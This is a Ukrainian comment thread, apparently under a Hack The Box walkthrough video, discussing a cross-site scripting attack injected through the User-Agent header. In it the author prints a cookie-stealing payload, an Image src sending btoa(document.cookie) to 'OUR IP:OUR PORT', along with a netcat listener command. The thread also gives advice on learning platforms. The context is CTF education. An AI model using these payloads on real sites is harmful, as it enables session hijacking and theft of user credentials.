Не зовсім зрозумів, чому заміна user-agent в запиті на тег html img повернула адмінську куку. Цей тег парситься і виконується браузером на стороні клієнта при рендерінгу в разі помилки, тобто в даному випадку - недійсному джерелі картинки. Можете пояснити? За відео - дякую!
Дуже слушне запитання. Це атака типу Cross Site Scripting. Суть самої команди в тому, щоб на стороні клієнта браузер знайшов посилання на картинку, але не отримав до неї маршрута. А в разі помилки(onerror) він звернувся до нашого АйПі і відправив нам кукі юзера браузера(+document.cookie). Ми ж все це отримуємо на своєму ПК за допомогою NetCat Listener(nc -lnvp PORT). Також можна було б використати, наприклад і таку команду - var i=new Image(); i.src="OUR IP:OUR PORT/?cookie="+btoa(document.cookie);
А чому ми не могли ту саму куку отримати з того ж Burp у відповіді сервера, коли отримали сторінку з помилкою? Чи Ви мали бажання продемонструвати xss вразливість? Мене дещо дивує, що сервер разом зі сторінкою помилки повертає адмінську куку. Але мабуть це просто, в якості геймефікації процесу зроюлено htb, бо в реальному житті, як на мене в цьому мало сенсу. Мабуть для реалізації xss в користувача на сусідній вкладці має вже бути відкрита алмінська сесія, чи жива адмінська кука. Дякую за відповідь.
@@ТкачукИгорь Абсолютно вірно кажете. По-перше, так, це деяка гейміфікація. По-друге, "машинка" налаштована так, що відкрита з боку браузера адмінська сессія. По-третє, в реальних кейсах це не дуже ймовірний напрям атаки, адже завжди ефективніше відправити фішингові листи, чи підібрати пароль звичайних юзерів і вже від легітимного юзера відправити знову ж таки фішинговий дист адміну
Навчатись завжди сенс є. Я б для початку порекомендував академію TryHackMe, але судячи з рівня ваших питань, Ви сміливо можете проходитит більш складну академію від HTB
супер
👍👍👍
Не зовсім зрозумів, чому заміна user-agent в запиті на тег html img повернула адмінську куку. Цей тег парситься і виконується браузером на стороні клієнта при рендерінгу в разі помилки, тобто в даному випадку - недійсному джерелі картинки. Можете пояснити? За відео - дякую!
Дуже слушне запитання. Це атака типу Cross Site Scripting. Суть самої команди в тому, щоб на стороні клієнта браузер знайшов посилання на картинку, але не отримав до неї маршрута. А в разі помилки(onerror) він звернувся до нашого АйПі і відправив нам кукі юзера браузера(+document.cookie). Ми ж все це отримуємо на своєму ПК за допомогою NetCat Listener(nc -lnvp PORT). Також можна було б використати, наприклад і таку команду - var i=new Image(); i.src="OUR IP:OUR PORT/?cookie="+btoa(document.cookie);
А чому ми не могли ту саму куку отримати з того ж Burp у відповіді сервера, коли отримали сторінку з помилкою? Чи Ви мали бажання продемонструвати xss вразливість? Мене дещо дивує, що сервер разом зі сторінкою помилки повертає адмінську куку. Але мабуть це просто, в якості геймефікації процесу зроюлено htb, бо в реальному житті, як на мене в цьому мало сенсу. Мабуть для реалізації xss в користувача на сусідній вкладці має вже бути відкрита алмінська сесія, чи жива адмінська кука. Дякую за відповідь.
@@ТкачукИгорь Абсолютно вірно кажете. По-перше, так, це деяка гейміфікація. По-друге, "машинка" налаштована так, що відкрита з боку браузера адмінська сессія. По-третє, в реальних кейсах це не дуже ймовірний напрям атаки, адже завжди ефективніше відправити фішингові листи, чи підібрати пароль звичайних юзерів і вже від легітимного юзера відправити знову ж таки фішинговий дист адміну
Порадьте чи є сенс проходити на htb їхню академію.
Навчатись завжди сенс є. Я б для початку порекомендував академію TryHackMe, але судячи з рівня ваших питань, Ви сміливо можете проходитит більш складну академію від HTB
Сенс в ній є, але є деякі модулі(наприклад, active directory), які дуже сумбурно пояснюються. Треба додатково багато ще прочитати
В мене є подарунковий сертифікат від htb. Намагаюся зрозуміти як його з користю використати.